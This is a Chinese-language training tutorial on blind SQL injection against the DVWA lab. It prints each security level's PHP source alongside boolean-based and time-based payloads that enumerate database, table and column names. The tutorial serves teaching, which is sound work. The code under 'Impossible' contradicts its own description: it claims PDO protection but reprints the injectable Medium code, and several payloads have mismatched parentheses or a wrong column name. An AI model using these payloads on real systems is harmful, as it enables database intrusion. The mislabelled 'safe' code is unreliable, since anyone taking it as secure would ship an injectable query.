玄螭安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明,文章来源等全部内容。未经玄螭安全实验室允许,不得修改文章内容,不能以任何方式将其用于商业目的。
目录:
1.SQL盲注简介
2.Low核心代码
3.Medium核心代码
4.High核心代码
5.Impossible核心代码
1.SQL盲注简介
SQL盲注,和SQL注入不同,在SQL盲注中,页面不会返回相关信息,只提示该参数是否存在,攻击者无法从页面上获取任何有效信息,只能通过返回是和否两个信息来判断数据库中的表和各项信息。SQL盲注要比一般的SQL注入难度高,就好比和机器人聊天,它只会回答你是或否,例如你问数据库名字的长度是不是4个,它说是,那么你再继续追问,数据库名字第一个字符是不是a,它说不是,你继续问是不是d,它说对,那么你就知道第一个字符是d,然后你再继续判读第二个字符。
SQL盲注主要有基于布尔值的盲注和基于时间的盲注。基于布尔值的盲注,会根据你注入的信息返回是或否,来进行下一步判断、而基于时间的盲注,会根据注入的信息是否成功与否,如果成功,则系统会停止一段时间,根据是否停止来判断注入成功与否。
2.Low核心代码
先来看Low级别的代码,登录DVWA平台后,选择“DVWA Security”选项,在安全级别中选择“Low”选项,单击“Submit”按钮。设置安全级别为“Low”级别。然后查看一下源代码。如图。
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0);
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
在该级别下,源代码没有对参数做任何合法性检查,那么可以根据构造相应payload判断为真还是为假的方式,猜测相关的数据信息。
a)先判断数据库名长度,再猜测每个字符,具体代码如下
1'and length (database())=1 #显示不存在
1'and length (database())=4 #显示存在
所以可知数据库长度为4个字符。
b)猜测数据库名称。得出数据库名长度为4之后,再使用二分法和ASCI值来猜测数据库中每个字符的信息,通过输入下列字符ASCI值进行测试,具体代码如下
1' and ascii(substr(database(),1,1)>97 #判断第一个字符ascii值大于97
1' and ascii(substr(database(),1,1)<122 #判断第一个字符ascii值小于122
1' and ascii(substr(database(),1,1)>100# 判断第一个字符ascii值大于100
最后通过不断测试,得出数据库名称为dvwa。
c)猜测数据库表个数。首先判断数据库dvwa中表的个数,具体代码
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显示存在
所以得出dvwa中存在2个表
d)猜测数据库表名的长度,因为目前有2个表,那么来看第1个表,猜测它表名长度。具体代码
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #显示不存在
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #显示存在
所以得出第一个表名长度为9。
e)得出第一个表名长度为9后,再继续猜测第一个表名的名称。以首字母为例,先猜测第一个字母,得出是g
1' and ascii(substr((select table_name from information_schema.tables where table_name =database() limit 0,1),1,1)) < 103 # 显示不存在
f)数据库中表存在2个表,表名经过猜测后,得出是users和guestbook。接下
来继续判断表中的字段名。以users表为例,先判断users表中字段数,代码如
下,得出一共有8个字段。
1' and (select count(column_name) from information_schema.columns where table_name='users')=1 # 显示不存在
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 # 显示存在
g)接着对第1个字段的长度进行判断,具体代码。得出users表第一个字段长度
为7个字符。
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1 # 显示不存在
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7 # 显示存在
h)得出users表第一个字段长度后,再继续猜测其字段名,以第一个字段首字
母为例,猜测出字符为u,具体代码。
1' and ascii(substr((select column_name from information_schema.columns where table_name ='users' limit 0,1),1,1))>117 #显示不存在
最终得出第一个字段名为user_id
i)接下来猜测表users中的记录数。输入代码如下,最后得出users表中的记录
数为5条。
最后,通过asci值判断和二分法,可以推出所有的值。
当然,除了使用布尔盲注以外,还可以采用基于时间的盲注来判断。基于时间的盲注的原理是当注入成功时,系统存在明显延迟。接下来采用基于时间的盲注来完成注入工作。
a)首先和之前一样,先猜测数据库名的长度,根据延迟情况来判断。具体代码
1' and if(length(database())=1,sleep(5),1) #没有延迟
1' and if(length(database())=4,sleep(5),1) #有延迟
得出数据库名长度后,继续根据二分法猜测数据库名称,首先看数据库名第一个字符,得出是d,代码。
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1) #//有延迟
b)接下来继续猜测数据库中表的数量,结果是dvwa中有2个表,代码。
1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1) # //有延迟
后续和前面基于布尔值盲注类似,根据是否延迟,来判断。
基于此,我们得出结论,如果希望通过基于盲注来完成,大致思路以下几点:
a.先确定数据库名的长度
b.通过二分法和ascii值判断数据库名字
c.得出数据库名字后,判断数据库中表的数量
d.对数据库中需猜测的表,猜测表名的长度
e.得出表名的长度后,再基于二分法和ascii值来猜测表的名字
f.得出表的名字后,猜测表中字段的数量
g.得出表中的字段数量后,挨个猜测字段名的长度
h.得出字段名长度后,根据二分法和ascii值继续猜测字段名的名称
i.现在数据库名,表名,表字段名全部获得后,开始猜测表中记录数量
j.得出表记录数后,猜测每条记录的长度(即值的长度)
k.最后,根据二分法和ascii值猜测记录的内容
当然操作SQL盲注不一定每一步都需要根据这样的步骤来完成,但基本思路就是如此。
3.Medium核心代码
Medium代码对界面进行了修改,和SQL注入类似,换成采用下拉框的形式,还利用mysql_real_escape_string函数对特殊符x00,n,r,,’,”,x1a进行转义,但是基本和前面盲注类似,依然可以采用burpsuite来完成SQL盲注功能,具体操作和前面类似,就不填写代码了。
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
4.High核心代码
在High级别下,利用cookie传递参数ID,如果SQL查询为空时,执行sleep函数,还在SQL查询中添加了LIMIT 1,不过依然可以采用#注释掉,由于采用sleep函数,所以建议使用基于布尔值来进行盲注,具体操作和前面也是类似。
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
// Get results
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
5. Impossible核心代码
在Impossible级别下,采用了PDO技术和Anti-SCRF Token技术来提升安全性,能够基本防御住SQL盲注的攻击,所以是非常安全的。
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
原文始发于微信公众号(玄螭安全实验室):网络安全实训教程第八章-SQL盲注
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论